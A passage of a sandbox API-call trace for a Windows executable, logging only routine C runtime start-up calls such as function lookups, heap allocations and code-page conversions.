# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jun 6 2019 12:21:16 # Log Creation Date: 09.06.2019 15:05:01.108 Process: id = "1" image_name = "sgm_20190527_desfuhohdt.exe" filename = "c:\\users\\aetadzjz\\desktop\\sgm_20190527_desfuhohdt.exe" page_root = "0x3d430000" os_pid = "0xa08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe\" " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa0c [0023.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xc21f8fb0, dwHighDateTime=0x1d51ed4)) [0023.261] GetCurrentThreadId () returned 0xa0c [0023.261] GetCurrentProcessId () returned 0xa08 [0023.261] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=14783799248) returned 1 [0023.313] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7735fd35, hStdError=0x773c7daf)) [0023.313] GetProcessHeap () returned 0x2d0000 [0023.314] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x769e0000 [0023.314] GetProcAddress (hModule=0x769e0000, lpProcName="FlsAlloc") returned 0x769f4f2b [0023.314] GetProcAddress (hModule=0x769e0000, lpProcName="FlsFree") returned 0x769f359f [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="FlsGetValue") returned 0x769f1252 [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="FlsSetValue") returned 0x769f4208 [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="InitializeCriticalSectionEx") returned 0x769f4d28 [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="CreateSemaphoreExW") returned 0x76a74195 [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="SetThreadStackGuarantee") returned 0x769fd31f [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="CreateThreadpoolTimer") returned 0x76a0ee7e [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="SetThreadpoolTimer") returned 0x7738441c [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x773ac50e [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="CloseThreadpoolTimer") returned 0x773ac381 [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="CreateThreadpoolWait") returned 0x76a0f088 [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="SetThreadpoolWait") returned 0x773905d7 [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="CloseThreadpoolWait") returned 0x773aca24 [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="FlushProcessWriteBuffers") returned 0x77360b8c [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7741fde8 [0023.315] GetProcAddress (hModule=0x769e0000, lpProcName="GetCurrentProcessorNumber") returned 0x773b1e1d [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="GetLogicalProcessorInformation") returned 0x76a74761 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="CreateSymbolicLinkW") returned 0x76a6cd11 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="EnumSystemLocalesEx") returned 0x76a7424f [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="CompareStringEx") returned 0x76a746b1 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="GetDateFormatEx") returned 0x76a86676 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="GetLocaleInfoEx") returned 0x76a74751 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="GetTimeFormatEx") returned 0x76a865f1 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="GetUserDefaultLocaleName") returned 0x76a747c1 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="IsValidLocaleName") returned 0x76a747e1 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="LCMapStringEx") returned 0x76a747f1 [0023.316] GetProcAddress (hModule=0x769e0000, lpProcName="GetCurrentPackageId") returned 0x0 [0023.317] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3bc) returned 0x2efad8 [0023.317] GetCurrentThreadId () returned 0xa0c [0023.317] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eeb10 [0023.317] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x800) returned 0x2efea0 [0023.317] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x43cd30, hStdOutput=0xb2e44e0f, hStdError=0x0)) [0023.317] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0023.317] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0023.317] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0023.317] GetCommandLineA () returned="\"C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe\" " [0023.317] GetEnvironmentStringsW () returned 0x2f06a8* [0023.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1351, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1351 [0023.318] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x547) returned 0x2f1140 [0023.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1351, lpMultiByteStr=0x2f1140, cbMultiByte=1351, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1351 [0023.318] FreeEnvironmentStringsW (penv=0x2f06a8) returned 1 [0023.318] GetLastError () returned 0x7f [0023.318] SetLastError (dwErrCode=0x7f) [0023.318] GetLastError () returned 0x7f [0023.318] SetLastError (dwErrCode=0x7f) [0023.318] GetLastError () returned 0x7f [0023.318] SetLastError (dwErrCode=0x7f) [0023.318] GetACP () returned 0x4e4 [0023.318] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x220) returned 0x2ed4b8 [0023.318] GetLastError () returned 0x7f [0023.318] SetLastError (dwErrCode=0x7f) [0023.318] IsValidCodePage (CodePage=0x4e4) returned 1 [0023.318] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0023.318] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0023.318] GetLastError () returned 0x7f [0023.318] SetLastError (dwErrCode=0x7f) [0023.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0023.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0023.318] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0023.318] GetLastError () returned 0x7f [0023.318] SetLastError (dwErrCode=0x7f) [0023.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0023.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0023.318] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0023.318] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0023.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x8f\x4f\xe4\xb2\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0023.319] GetLastError () returned 0x7f [0023.319] SetLastError (dwErrCode=0x7f) [0023.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0023.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0023.319] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0023.319] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0023.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\x